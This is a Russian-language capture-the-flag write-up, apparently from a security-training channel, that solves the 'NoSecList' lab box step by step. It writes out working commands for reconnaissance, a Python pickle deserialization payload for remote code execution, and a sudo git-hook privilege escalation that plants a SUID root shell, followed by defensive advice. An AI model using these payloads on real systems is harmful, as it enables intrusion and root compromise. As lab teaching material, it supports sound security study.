obuchenie_post
December 8

Готовый  День x. Таск "NoSecList"

Начнем

NoSecList

Уровень: Средний


Если хочешь, что-то спрятать - положи это на самом видном месте

Сегодня разбираем таск "NoSecList" — идеальный пример того, как избыточная уверенность в безопасности может стать самой большой уязвимостью. Готовьтесь думать нестандартно!

🎯 Исходные данные

  • Цель: 192.168.2.221
  • Порты: 5000 (HTTP), 5001 (SSH)
  • Уровень: Средний
  • Ключевая подсказка: "Если хочешь что-то спрятать — положи это на самом видном месте"

Шаг 1: Разведка — Изучаем поле боя

Сканируем порты:

nmap -sS -sV -sC 192.168.2.221

Находим:

  • 5000/tcp — Веб-приложение PentestOrg (Gunicorn)
  • 5001/tcp — SSH (только по ключам, пароли отключены)

Ищем директории:

gobuster dir -u http://192.168.2.221:5000 -w /usr/share/wordlists/dirb/common.txt

Обнаружены:

  • /login — форма входа (только пароль!)
  • /admin — админка (требует авторизации)
  • /logout — выход

Шаг 2: Поиск пароля — Игра в прятки

Подсказка "NoSecList" намекала на использование словарей SecLists, но настоящая жемчужина оказалась в тексте главной страницы:

Пароль: vulnerability — слово прямо перед глазами!

Проверяем:

curl -X POST -d "password=vulnerability" http://192.168.2.221:5000/login -s -L

Результат: Успешный вход в /admin! ✅

Шаг 3: Pickle Deserialization — Открываем ящик Пандоры

В админ-панели находим форму "Loader", которая принимает base64-данные и десериализует их через pickle.loads().

Создаем вредоносный pickle:

import pickle
import base64
import subprocess

class RCE:
    def __reduce__(self):
        return (subprocess.check_output, (['whoami'],))

payload = base64.b64encode(pickle.dumps(RCE())).decode()

Отправляем и получаем RCE:

curl -X POST -d "data=$payload" http://192.168.2.221:5000/admin -b cookies.txt

Результат: Выполняем команды как пользователь ilya! 🎯

Шаг 4: Эскалация привилегий — Git как оружие

Проверяем привилегии:

sudo -l

Обнаружено: (root) NOPASSWD: /usr/bin/git

Эксплуатируем через git hooks:

TF=$(mktemp -d)
cd "$TF"
git init
echo "#!/bin/sh" > .git/hooks/pre-commit
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
sudo git commit --allow-empty -m x

Результат: Создан SUID bash /tmp/rootbash! 🔥

Шаг 5: Флаг — Завершающий аккорд

Становимся root:

/tmp/rootbash -p

Собираем флаг:

cat /home/ilya/first_part    # CODEBY{l3arn_t0_th1nk_
cat /root/last_part          # outs1de_th3_b0x}

Полный флаг: CODEBY{l3arn_t0_th1nk_outs1de_th3_b0x} 🎉

📊 Итоговая цепочка атаки

  1. 🔍 Разведка → Нашли веб-приложение
  2. 🔑 OSINT → Пароль в тексте страницы: vulnerability
  3. 🐍 RCE → Python Pickle Deserialization
  4. ⚡ Эскалация → Git sudo exploitation
  5. 👑 Root → SUID bash
  6. 🏆 Флаг → Миссия выполнена!

🔒 Рекомендации по защите

  • Не храните пароли в коде или тексте страниц
  • 🐍 Избегайте pickle для пользовательских данных
  • Ограничивайте команды в sudo
  • 🔍 Регулярно проводите security-аудит

🎯 Вывод

Таск "NoSecList" блестяще демонстрирует принцип: иногда самое опасное — это то, что лежит на виду. Не переоценивайте сложность своих защитных механизмов и всегда проверяйте очевидные вещи!

Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!